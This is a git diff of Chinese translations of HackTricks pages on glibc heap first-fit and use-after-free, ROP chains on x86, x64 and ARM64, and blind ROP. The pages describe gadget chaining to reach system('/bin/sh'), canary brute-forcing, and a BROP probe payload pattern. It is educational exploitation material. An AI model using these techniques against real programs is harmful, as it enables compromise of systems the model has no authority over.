学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **First Fit**
|
||||
|
||||
当您在使用glibc释放程序中的内存时,会使用不同的“bins”来管理内存块。以下是两种常见情况的简化解释:未排序的bins和fastbins。
|
||||
当你在程序中使用glibc释放内存时,会使用不同的“bins”来管理内存块。以下是两种常见情况的简化解释:未排序的bins和fastbins。
|
||||
|
||||
### 未排序的Bins
|
||||
|
||||
当您释放一个不是快速块的内存块时,它会进入未排序的bin。这个bin的作用类似于一个列表,新释放的块会被添加到前面(“头部”)。当您请求一个新的内存块时,分配器会从后面(“尾部”)查看未排序的bin,以找到足够大的块。如果未排序的bin中的块比您需要的大,它会被分割,返回前部分并保留剩余部分在bin中。
|
||||
当你释放一个不是快速块的内存块时,它会进入未排序的bin。这个bin就像一个列表,新释放的块会被添加到前面(“头部”)。当你请求一个新的内存块时,分配器会从后面(“尾部”)查看未排序的bin,以找到一个足够大的块。如果未排序的bin中的块比你需要的大,它会被分割,返回前部分,并保留剩余部分在bin中。
|
||||
|
||||
示例:
|
||||
|
||||
* 您分配了300字节(`a`),然后250字节(`b`),释放`a`并再次请求250字节(`c`)。
|
||||
* 当您释放`a`时,它进入未排序的bin。
|
||||
* 如果然后再次请求250字节,分配器会在尾部找到`a`并将其拆分,返回符合您请求的部分并保留剩余部分在bin中。
|
||||
* 你分配了300字节(`a`),然后250字节(`b`),释放`a`并再次请求250字节(`c`)。
|
||||
* 当你释放`a`时,它进入了未排序的bin。
|
||||
* 如果你再次请求250字节,分配器会在尾部找到`a`并将其分割,返回符合你请求的部分,保留剩余部分在bin中。
|
||||
* `c`将指向先前的`a`并填充`a`的内容。
|
||||
```c
|
||||
char *a = malloc(300);
|
||||
|
@ -36,13 +37,13 @@ char *c = malloc(250);
|
|||
```
|
||||
### Fastbins
|
||||
|
||||
Fastbins用于小内存块。与未排序的bins不同,fastbins将新的块添加到头部,创建后进先出(LIFO)的行为。如果您请求一个小块内存,分配器将从fastbin的头部获取。
|
||||
Fastbins are used for small memory chunks. Unlike unsorted bins, fastbins add new chunks to the head, creating a last-in-first-out (LIFO) behavior. If you request a small chunk of memory, the allocator will pull from the fastbin's head.
|
||||
|
||||
示例:
|
||||
Example:
|
||||
|
||||
* 您分配了四个20字节的块(`a`,`b`,`c`,`d`)。
|
||||
* 当您以任何顺序释放它们时,被释放的块将被添加到fastbin的头部。
|
||||
* 如果您随后请求一个20字节的块,分配器将从fastbin头部返回最近释放的块。
|
||||
* You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`).
|
||||
* When you free them in any order, the freed chunks are added to the fastbin's head.
|
||||
* If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin.
|
||||
```c
|
||||
char *a = malloc(20);
|
||||
char *b = malloc(20);
|
||||
|
@ -64,9 +65,9 @@ d = malloc(20); // a
|
|||
* ARM64。使用后释放:生成一个用户对象,释放它,生成一个获取到被释放块的对象,并允许对其进行写入,**覆盖前一个用户->密码的位置**。重用用户以**绕过密码检查**。
|
||||
* [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example)
|
||||
* 该程序允许创建笔记。一个笔记将在malloc(8)中具有笔记信息(带有可调用的函数指针),并在另一个malloc(\<size>)中具有笔记内容的指针。
|
||||
* 攻击将是创建两个笔记(note0和note1),其malloc内容比笔记信息大小更大,然后释放它们以使它们进入快速块(或tcache)。
|
||||
* 然后,创建另一个笔记(note2),内容大小为8。内容将位于note1中,因为该块将被重用,我们可以修改函数指针以指向win函数,然后Use-After-Free笔记1以调用新的函数指针。
|
||||
* 攻击将是创建两个笔记(note0和note1),其malloc内容比笔记信息大小更大,然后释放它们以使它们进入快速bin(或tcache)。
|
||||
* 然后,创建另一个笔记(note2),内容大小为8。内容将位于note1中,因为该块将被重用,我们可以修改函数指针以指向win函数,然后Use-After-Free note1以调用新的函数指针。
|
||||
* [**https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html)
|
||||
* 可以分配一些内存,写入所需的值,释放它,重新分配它,由于先前的数据仍然存在,它将根据块中的新期望结构进行处理,从而可以设置值或获取标志。
|
||||
* [**https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html)
|
||||
* 在这种情况下,需要在特定块中写入4,这是分配的第一个块(即使在强制释放所有块后仍然如此)。在每个新分配的块中,其在数组索引中的编号被存储。然后,分配4个块(+最初分配的块),最后一个将在其中包含4,释放它们并强制重新分配第一个块,它将使用最后一个释放的块,其中包含4。
|
||||
* 在这种情况下,需要在特定块中写入4,这是分配的第一个块(即使在强制释放所有块后仍然如此)。在每个新分配的块中,其在数组索引中的编号被存储。然后,分配4个块(+最初分配的块),最后一个将在其中包含4,释放它们并强制重新分配第一个块,它将使用最后释放的块,其中包含4。
|
||||
|
|
|
@ -1,57 +1,58 @@
|
|||
# ROP - Return Oriented Programing
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**返回导向编程(ROP)**是一种高级利用技术,用于规避诸如**不可执行(NX)**或**数据执行防护(DEP)**等安全措施。攻击者不是注入和执行shellcode,而是利用二进制文件或加载的库中已经存在的代码片段,称为**“gadgets”**。每个gadget通常以`ret`指令结尾,并执行小操作,例如在寄存器之间移动数据或执行算术操作。通过链接这些gadgets,攻击者可以构建有效绕过NX/DEP保护执行任意操作的有效载荷。
|
||||
**返回导向编程 (ROP)** 是一种高级利用技术,用于规避诸如 **不可执行 (NX)** 或 **数据执行防护 (DEP)** 等安全措施。攻击者不是注入和执行 shellcode,而是利用二进制文件或加载的库中已经存在的代码片段,称为 **"gadgets"**。每个 gadget 通常以 `ret` 指令结尾,并执行小操作,例如在寄存器之间移动数据或执行算术运算。通过链接这些 gadgets,攻击者可以构造有效绕过 NX/DEP 保护的有效操作负载。
|
||||
|
||||
### ROP的工作原理
|
||||
### ROP 的工作原理
|
||||
|
||||
1. **控制流劫持**:首先,攻击者需要劫持程序的控制流,通常是通过利用缓冲区溢出来覆盖栈上保存的返回地址。
|
||||
2. **Gadget链接**:然后,攻击者仔细选择和链接gadgets以执行所需的操作。这可能涉及为函数调用设置参数,调用函数(例如`system("/bin/sh")`),以及处理任何必要的清理或附加操作。
|
||||
3. **有效载荷执行**:当易受攻击的函数返回时,它不是返回到合法位置,而是开始执行gadgets链。
|
||||
2. **Gadget 链接**:然后,攻击者仔细选择并链接 gadgets 以执行所需的操作。这可能涉及为函数调用设置参数,调用函数 (例如,`system("/bin/sh")`),以及处理任何必要的清理或附加操作。
|
||||
3. **负载执行**:当易受攻击的函数返回时,它不是返回到合法位置,而是开始执行 gadget 链。
|
||||
|
||||
### 工具
|
||||
|
||||
通常可以使用[**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget)、[**ropper**](https://github.com/sashs/Ropper)或直接使用**pwntools**([ROP](https://docs.pwntools.com/en/stable/rop/rop.html))来查找gadgets。
|
||||
通常,可以使用 [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget)、[**ropper**](https://github.com/sashs/Ropper) 或直接使用 **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)) 来查找 gadgets。
|
||||
|
||||
## x86示例中的ROP链
|
||||
## x86 示例中的 ROP 链
|
||||
|
||||
### **x86(32位)调用约定**
|
||||
### **x86 (32 位) 调用约定**
|
||||
|
||||
- **cdecl**:调用者清理堆栈。函数参数以相反顺序(从右到左)推送到堆栈上。**参数从右到左推送到堆栈上**。
|
||||
- **stdcall**:类似于cdecl,但被调用方负责清理堆栈。
|
||||
* **cdecl**:调用方清理栈。函数参数以相反顺序 (从右到左) 推送到栈上。**参数从右到左推送到栈上**。
|
||||
* **stdcall**:类似于 cdecl,但被调用方负责清理栈。
|
||||
|
||||
### **查找Gadgets**
|
||||
### **查找 Gadgets**
|
||||
|
||||
首先,让我们假设我们已经在二进制文件或其加载的库中识别出必要的gadgets。我们感兴趣的gadgets包括:
|
||||
首先,让我们假设我们已经在二进制文件或其加载的库中识别出必要的 gadgets。我们感兴趣的 gadgets 包括:
|
||||
|
||||
- `pop eax; ret`:此gadget将堆栈顶部的值弹出到`EAX`寄存器中,然后返回,允许我们控制`EAX`。
|
||||
- `pop ebx; ret`:类似于上述,但用于`EBX`寄存器,使得可以控制`EBX`。
|
||||
- `mov [ebx], eax; ret`:将`EAX`中的值移动到由`EBX`指向的内存位置,然后返回。这通常称为**write-what-where gadget**。
|
||||
- 此外,我们有`system()`函数的地址可用。
|
||||
* `pop eax; ret`:此 gadget 将栈顶值弹出到 `EAX` 寄存器中,然后返回,允许我们控制 `EAX`。
|
||||
* `pop ebx; ret`:类似于上述,但用于 `EBX` 寄存器,使得可以控制 `EBX`。
|
||||
* `mov [ebx], eax; ret`:将 `EAX` 中的值移动到 `EBX` 指向的内存位置,然后返回。这通常被称为 **write-what-where gadget**。
|
||||
* 此外,我们有 `system()` 函数的地址可用。
|
||||
|
||||
### **ROP链**
|
||||
### **ROP 链**
|
||||
|
||||
使用**pwntools**,我们为ROP链执行准备堆栈,如下所示,旨在执行`system('/bin/sh')`,请注意链从以下开始:
|
||||
使用 **pwntools**,我们为 ROP 链执行准备栈,如下所示,旨在执行 `system('/bin/sh')`,请注意链条从以下开始:
|
||||
|
||||
1. 用于对齐目的的`ret`指令(可选)
|
||||
2. `system`函数的地址(假设ASLR已禁用且已知libc,更多信息请参阅[**Ret2lib**](ret2lib/))
|
||||
3. 来自`system()`的返回地址的占位符
|
||||
4. `"/bin/sh"`字符串地址(system函数的参数)
|
||||
1. 用于对齐目的的 `ret` 指令 (可选)
|
||||
2. `system` 函数的地址 (假设 ASLR 禁用且已知 libc,更多信息请参阅 [**Ret2lib**](ret2lib/))
|
||||
3. 来自 `system()` 的返回地址的占位符
|
||||
4. `"/bin/sh"` 字符串地址 (system 函数的参数)
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -89,22 +90,22 @@ p.interactive()
|
|||
|
||||
### **x64(64位)调用约定**
|
||||
|
||||
* 在类Unix系统上使用 **System V AMD64 ABI** 调用约定,其中 **前六个整数或指针参数通过寄存器 `RDI`, `RSI`, `RDX`, `RCX`, `R8`, 和 `R9` 传递**。额外的参数通过堆栈传递。返回值放在 `RAX` 中。
|
||||
* **Windows x64** 调用约定使用 `RCX`, `RDX`, `R8`, 和 `R9` 作为前四个整数或指针参数,额外的参数通过堆栈传递。返回值放在 `RAX` 中。
|
||||
* 在类Unix系统上使用 **System V AMD64 ABI** 调用约定,其中 **前六个整数或指针参数通过寄存器 `RDI`, `RSI`, `RDX`, `RCX`, `R8`, 和 `R9` 传递**。额外的参数通过堆栈传递。返回值放在 `RAX` 寄存器中。
|
||||
* **Windows x64** 调用约定使用 `RCX`, `RDX`, `R8`, 和 `R9` 作为前四个整数或指针参数,额外的参数通过堆栈传递。返回值放在 `RAX` 寄存器中。
|
||||
* **寄存器**:64位寄存器包括 `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, 和 `R8` 到 `R15`。
|
||||
|
||||
#### **查找Gadgets**
|
||||
|
||||
为了我们的目的,让我们专注于能够设置 **RDI** 寄存器(将 **"/bin/sh"** 字符串作为参数传递给 **system()**)并调用 **system()** 函数的gadgets。我们假设已经识别出以下gadgets:
|
||||
|
||||
* **pop rdi; ret**:将堆栈顶部的值弹出到 **RDI** 中,然后返回。用于为 **system()** 设置参数至关重要。
|
||||
* **ret**:一个简单的返回,对于某些情况下的堆栈对齐很有用。
|
||||
* **pop rdi; ret**:将堆栈顶部的值弹出到 **RDI** 寄存器中,然后返回。用于为 **system()** 设置参数至关重要。
|
||||
* **ret**:简单的返回指令,在某些情况下用于堆栈对齐。
|
||||
|
||||
我们知道 **system()** 函数的地址。
|
||||
|
||||
### **ROP链**
|
||||
|
||||
以下是一个使用 **pwntools** 的示例,设置并执行一个旨在在 **x64** 上执行 **system('/bin/sh')** 的ROP链:
|
||||
以下是一个使用 **pwntools** 设置和执行ROP链的示例,旨在在 **x64** 上执行 **system('/bin/sh')**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -141,18 +142,18 @@ p.interactive()
|
|||
```
|
||||
在这个例子中:
|
||||
|
||||
* 我们利用 **`pop rdi; ret`** 工具来将 **`RDI`** 设置为 **`"/bin/sh"`** 的地址。
|
||||
* 在设置完 **`RDI`** 后,我们直接跳转到 **`system()`**,链中包含 **system()** 的地址。
|
||||
* 如果目标环境需要,可以使用 **`ret_gadget`** 进行对齐,这在 **x64** 中更常见,以确保在调用函数之前正确对齐堆栈。
|
||||
- 我们利用 **`pop rdi; ret`** 工具来将 **`RDI`** 设置为 **`"/bin/sh"`** 的地址。
|
||||
- 在设置完 **`RDI`** 后,我们直接跳转到 **`system()`**,链中包含 **system()** 的地址。
|
||||
- 如果目标环境需要,可以使用 **`ret_gadget`** 进行对齐,这在 **x64** 中更常见,以确保在调用函数之前正确对齐堆栈。
|
||||
|
||||
### 堆栈对齐
|
||||
|
||||
**x86-64 ABI** 确保在执行 **call 指令** 时 **堆栈是 16 字节对齐**的。**LIBC** 为了优化性能,**使用 SSE 指令**(如 **movaps**),这些指令需要这种对齐。如果堆栈没有正确对齐(意味着 **RSP** 不是 16 的倍数),在 **ROP 链** 中调用 **system** 等函数将会失败。为了解决这个问题,在调用 **system** 之前在你的 ROP 链中添加一个 **ret gadget**。
|
||||
**x86-64 ABI** 确保在执行 **call 指令** 时 **堆栈是 16 字节对齐**的。**LIBC** 为了优化性能,**使用 SSE 指令**(如 **movaps**)需要这种对齐。如果堆栈没有正确对齐(意味着 **RSP** 不是 16 的倍数),在 **ROP 链** 中调用 **system** 等函数将失败。为了解决这个问题,在调用 **system** 之前在你的 ROP 链中简单地添加一个 **ret gadget**。
|
||||
|
||||
## x86 与 x64 的主要区别
|
||||
|
||||
{% hint style="success" %}
|
||||
由于 **x64 使用寄存器传递前几个参数**,因此对于简单的函数调用,通常需要的 gadget 较少,但由于寄存器数量增加和地址空间更大,找到并链接正确的 gadget 可能更复杂。**x64** 架构中寄存器数量的增加和地址空间的扩大为利用开发提供了机遇和挑战,特别是在返回导向编程(ROP)的背景下。
|
||||
由于 **x64 使用寄存器传递前几个参数**,因此对于简单的函数调用,通常需要的 gadget 较少,但由于寄存器数量增加和地址空间较大,找到并链接正确的 gadget 可能更加复杂。**x64** 架构中寄存器数量的增加和地址空间的扩大为利用开发提供了机遇和挑战,特别是在返回导向编程(ROP)的背景下。
|
||||
{% endhint %}
|
||||
|
||||
## ARM64 示例中的 ROP 链
|
||||
|
@ -165,31 +166,29 @@ p.interactive()
|
|||
[arm64-basic-assembly.md](../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 防止 ROP 攻击
|
||||
|
||||
|
||||
## 防护措施防止 ROP
|
||||
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **和** [**PIE**](../common-binary-protections-and-bypasses/pie/):这些保护措施使得使用 ROP 更加困难,因为 gadget 的地址在执行过程中会发生变化。
|
||||
* [**堆栈 Canary**](../common-binary-protections-and-bypasses/stack-canaries/):在发生缓冲区溢出时,需要绕过存储的堆栈 Canary,以覆盖返回指针以滥用 ROP 链。
|
||||
* **Gadget 不足**:如果没有足够的 gadget,将无法生成 ROP 链。
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **和** [**PIE**](../common-binary-protections-and-bypasses/pie/):这些保护措施使得 ROP 的使用变得更加困难,因为 gadget 的地址在执行过程中会发生变化。
|
||||
- [**堆栈 Canary**](../common-binary-protections-and-bypasses/stack-canaries/):在发生缓冲区溢出时,需要绕过存储的堆栈 Canary,以覆盖返回指针以滥用 ROP 链。
|
||||
- **缺少 Gadgets**:如果没有足够的 gadgets,将无法生成 ROP 链。
|
||||
|
||||
## 基于 ROP 的技术
|
||||
|
||||
请注意,ROP 只是一种执行任意代码的技术。基于 ROP,开发了许多 Ret2XXX 技术:
|
||||
|
||||
* **Ret2lib**:使用 ROP 从加载的库中调用带有任意参数的任意函数(通常类似于 `system('/bin/sh')`)。
|
||||
- **Ret2lib**:使用 ROP 从加载的库中调用带有任意参数的任意函数(通常类似于 `system('/bin/sh')`)。
|
||||
|
||||
{% content-ref url="ret2lib/" %}
|
||||
[ret2lib](ret2lib/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Ret2Syscall**:使用 ROP 准备对系统调用(例如 `execve`)的调用,并使其执行任意命令。
|
||||
- **Ret2Syscall**:使用 ROP 准备对系统调用(例如 `execve`)的调用,并使其执行任意命令。
|
||||
|
||||
{% content-ref url="rop-syscall-execv/" %}
|
||||
[rop-syscall-execv](rop-syscall-execv/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **EBP2Ret 和 EBP 链接**:第一个将滥用 EBP 而不是 EIP 来控制流程,第二个类似于 Ret2lib,但在这种情况下,流程主要由 EBP 地址控制(尽管需要控制 EIP)。
|
||||
- **EBP2Ret 和 EBP 链接**:第一个将滥用 EBP 而不是 EIP 来控制流程,第二个类似于 Ret2lib,但在这种情况下,流程主要由 EBP 地址控制(尽管需要控制 EIP)。
|
||||
|
||||
{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %}
|
||||
[stack-pivoting-ebp2ret-ebp-chaining.md](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
|
@ -197,8 +196,8 @@ p.interactive()
|
|||
|
||||
## 其他示例和参考资料
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
|
||||
* [https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html)
|
||||
* 64 位,启用 Pie 和 nx,无 Canary,用 `vsyscall` 地址覆盖 RIP,目的是返回到堆栈中下一个地址,这将部分覆盖地址以获取泄漏标志的函数部分
|
||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
* arm64,无 ASLR,ROP gadget 使堆栈可执行并跳转到堆栈中的 shellcode
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
|
||||
- [https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html)
|
||||
- 64 位,启用 Pie 和 nx,无 Canary,用 `vsyscall` 地址覆盖 RIP,目的是返回到堆栈中下一个地址,这将部分覆盖地址以获取泄漏标志的函数部分。
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64,无 ASLR,ROP gadget 使堆栈可执行并跳转到堆栈中的 shellcode。
|
||||
|
|
|
@ -1,110 +1,111 @@
|
|||
# BROP - 盲返回导向编程
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
此攻击的目标是能够**利用ROP通过缓冲区溢出而无需有关易受攻击的二进制文件的任何信息**。\
|
||||
此攻击基于以下场景:
|
||||
此攻击的目标是能够**利用缓冲区溢出滥用 ROP,而无需有关易受攻击的二进制文件的任何信息**。\
|
||||
此攻击基于以下情景:
|
||||
|
||||
* 一个堆栈漏洞和如何触发它的知识。
|
||||
* 一个在崩溃后重新启动的服务器应用程序。
|
||||
|
||||
## 攻击
|
||||
|
||||
### **1. 查找易受攻击的偏移量**发送一个以上的字符,直到检测到服务器的故障
|
||||
### **1. 找到易受攻击的偏移量**发送一个额外字符,直到检测到服务器的故障
|
||||
|
||||
### **2. 暴力破解canary**以泄漏它
|
||||
### **2. 暴力破解 canary** 以泄漏它
|
||||
|
||||
### **3. 暴力破解存储的RBP和RIP**地址以泄漏它们
|
||||
### **3. 暴力破解存储的 RBP 和 RIP** 地址以泄漏它们
|
||||
|
||||
您可以在[这里(BF分叉和线程化堆栈Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)和[这里(BF地址在堆栈中)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)找到有关这些过程的更多信息。
|
||||
您可以在[这里(BF 分叉和线程化堆栈 Canary)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)和[这里(BF 地址在堆栈中)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)找到有关这些过程的更多信息。
|
||||
|
||||
### **4. 查找停止小工具**
|
||||
### **4. 找到停止小工具**
|
||||
|
||||
这个小工具基本上允许确认通过ROP小工具执行了一些有趣的内容,因为执行没有崩溃。通常,这个小工具将是**停止执行**的内容,并且当寻找ROP小工具以确认特定ROP小工具已执行时,它将位于ROP链的末尾。
|
||||
这个小工具基本上允许确认通过 ROP 小工具执行了一些有趣的内容,因为执行没有崩溃。通常,这个小工具将是**停止执行**的东西,并且当寻找用于确认特定 ROP 小工具是否被执行的 ROP 小工具时,它位于 ROP 链的末尾。
|
||||
|
||||
### **5. 查找BROP小工具**
|
||||
### **5. 找到 BROP 小工具**
|
||||
|
||||
此技术使用[**ret2csu**](ret2csu.md)小工具。这是因为如果在一些指令中访问此小工具,您将获得控制**`rsi`**和**`rdi`**的小工具:
|
||||
此技术使用 [**ret2csu**](ret2csu.md) 小工具。这是因为如果在一些指令中访问此小工具,您将获得控制 **`rsi`** 和 **`rdi`** 的小工具:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
这些将是小工具:
|
||||
|
||||
* `pop rsi; pop r15; ret`
|
||||
* `pop rdi; ret`
|
||||
|
||||
请注意,使用这些小工具可以**控制函数的2个参数**。
|
||||
请注意,使用这些小工具可以**控制函数的 2 个参数**。
|
||||
|
||||
还要注意,ret2csu小工具具有**非常独特的签名**,因为它将从堆栈中弹出6个寄存器。因此,发送如下链:
|
||||
还要注意,ret2csu 小工具具有**非常独特的签名**,因为它将从堆栈中弹出 6 个寄存器。因此,发送如下链:
|
||||
|
||||
`'A' * 偏移量 + canary + rbp + 地址 + 0xdead * 6 + STOP`
|
||||
|
||||
如果**执行STOP**,这基本上意味着使用了一个**从堆栈中弹出6个寄存器**的地址。或者使用的地址也是一个STOP地址。
|
||||
